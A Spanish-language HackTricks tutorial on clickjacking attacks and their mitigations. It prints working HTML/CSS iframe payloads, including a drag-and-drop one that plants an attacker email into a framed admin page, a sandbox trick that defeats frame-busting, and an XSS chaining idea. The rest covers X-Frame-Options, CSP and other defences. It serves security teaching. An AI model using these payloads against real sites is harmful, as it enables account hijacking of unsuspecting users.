12 KiB
Clickjacking
Aprende hacking en AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
¿Qué es el Clickjacking?
En un ataque de clickjacking, un usuario es engañado para hacer clic en un elemento en una página web que está invisible o disfrazado como un elemento diferente. Esta manipulación puede llevar a consecuencias no deseadas para el usuario, como la descarga de malware, redirección a páginas web maliciosas, suministro de credenciales o información sensible, transferencias de dinero o la compra en línea de productos.
Truco de prellenado de formularios
A veces es posible rellenar el valor de campos de un formulario utilizando parámetros GET al cargar una página. Un atacante puede abusar de este comportamiento para rellenar un formulario con datos arbitrarios y enviar la carga de clickjacking para que el usuario presione el botón Enviar.
Rellenar formulario con Arrastrar y Soltar
Si necesitas que el usuario llene un formulario pero no quieres pedirle directamente que escriba información específica (como el correo electrónico o una contraseña específica que conoces), simplemente puedes pedirle que Arrastre y Suelte algo que escribirá tus datos controlados como en este ejemplo.
Carga Básica de Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Carga útil de múltiples pasos
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Carga útil de Arrastrar y Soltar + Click
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Si has identificado un ataque de XSS que requiere que un usuario haga clic en algún elemento para activar el XSS y la página es vulnerable al clickjacking, podrías abusar de ello para engañar al usuario y hacer que haga clic en el botón/enlace.
Ejemplo:
Encontraste un auto XSS en algunos detalles privados de la cuenta (detalles que solo tú puedes configurar y leer). La página con el formulario para establecer estos detalles es vulnerable al clickjacking y puedes prellenar el formulario con los parámetros GET.
__Un atacante podría preparar un ataque de clickjacking a esa página prellenando el formulario con el payload XSS y engañando al usuario para que envíe el formulario. Entonces, cuando se envíe el formulario y los valores se modifiquen, el usuario ejecutará el XSS.
Estrategias para Mitigar el Clickjacking
Defensas del Lado del Cliente
Los scripts ejecutados en el lado del cliente pueden realizar acciones para prevenir el Clickjacking:
- Asegurar que la ventana de la aplicación sea la ventana principal o superior.
- Hacer que todos los marcos sean visibles.
- Prevenir clics en marcos invisibles.
- Detectar y alertar a los usuarios sobre posibles intentos de Clickjacking.
Sin embargo, estos scripts de rompimiento de marcos pueden ser eludidos:
- Configuraciones de Seguridad de los Navegadores: Algunos navegadores pueden bloquear estos scripts según sus configuraciones de seguridad o falta de soporte de JavaScript.
- Atributo
sandbox
de iframe de HTML5: Un atacante puede neutralizar los scripts de rompimiento de marcos configurando el atributosandbox
con los valoresallow-forms
oallow-scripts
sinallow-top-navigation
. Esto evita que el iframe verifique si es la ventana superior, por ejemplo.
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
Defensas del Lado del Servidor
X-Frame-Options
El encabezado de respuesta HTTP X-Frame-Options
informa a los navegadores sobre la legitimidad de renderizar una página en un <frame>
o <iframe>
, ayudando a prevenir el Clickjacking:
X-Frame-Options: deny
- Ningún dominio puede enmarcar el contenido.X-Frame-Options: sameorigin
- Solo el sitio actual puede enmarcar el contenido.X-Frame-Options: allow-from https://trusted.com
- Solo el 'uri' especificado puede enmarcar la página.- Nota las limitaciones: si el navegador no admite esta directiva, es posible que no funcione. Algunos navegadores prefieren la directiva CSP frame-ancestors.
Directiva frame-ancestors
de la Política de Seguridad de Contenido (CSP)
La directiva frame-ancestors
en CSP es el método recomendado para la protección contra el Clickjacking:
frame-ancestors 'none'
- Similar aX-Frame-Options: deny
.frame-ancestors 'self'
- Similar aX-Frame-Options: sameorigin
.frame-ancestors trusted.com
- Similar aX-Frame-Options: allow-from
.
Por ejemplo, la siguiente CSP solo permite enmarcar desde el mismo dominio:
Content-Security-Policy: frame-ancestors 'self';
Se pueden encontrar más detalles y ejemplos complejos en la documentación de CSP frame-ancestors y en la documentación de Mozilla sobre CSP frame-ancestors.
Política de Seguridad de Contenido (CSP) con child-src
y frame-src
La Política de Seguridad de Contenido (CSP) es una medida de seguridad que ayuda a prevenir el Clickjacking y otros ataques de inyección de código al especificar qué fuentes debe permitir el navegador cargar contenido.
Directiva frame-src
- Define fuentes válidas para frames.
- Más específica que la directiva
default-src
.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Esta política permite marcos del mismo origen (self) y https://trusted-website.com.
Directiva child-src
- Introducida en CSP nivel 2 para establecer fuentes válidas para trabajadores web y marcos.
- Actúa como un respaldo para frame-src y worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Este documento permite marcos y workers del mismo origen (self) y https://trusted-website.com.
Notas de Uso:
- Desaprobación: child-src está siendo eliminado a favor de frame-src y worker-src.
- Comportamiento de Respaldo: Si frame-src está ausente, child-src se utiliza como respaldo para marcos. Si ambos están ausentes, se utiliza default-src.
- Definición estricta de la fuente: Incluir solo fuentes confiables en las directivas para prevenir la explotación.
Scripts de JavaScript para Romper Marcos
Aunque no son completamente infalibles, los scripts de rompimiento de marcos basados en JavaScript pueden ser utilizados para evitar que una página web sea enmarcada. Ejemplo:
if (top !== self) {
top.location = self.location;
}
Empleo de Tokens Anti-CSRF
- Validación de Tokens: Utilice tokens anti-CSRF en aplicaciones web para asegurar que las solicitudes que cambian el estado sean realizadas intencionalmente por el usuario y no a través de una página Clickjacked.
Referencias
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Use Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el merchandising oficial de PEASS & HackTricks
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.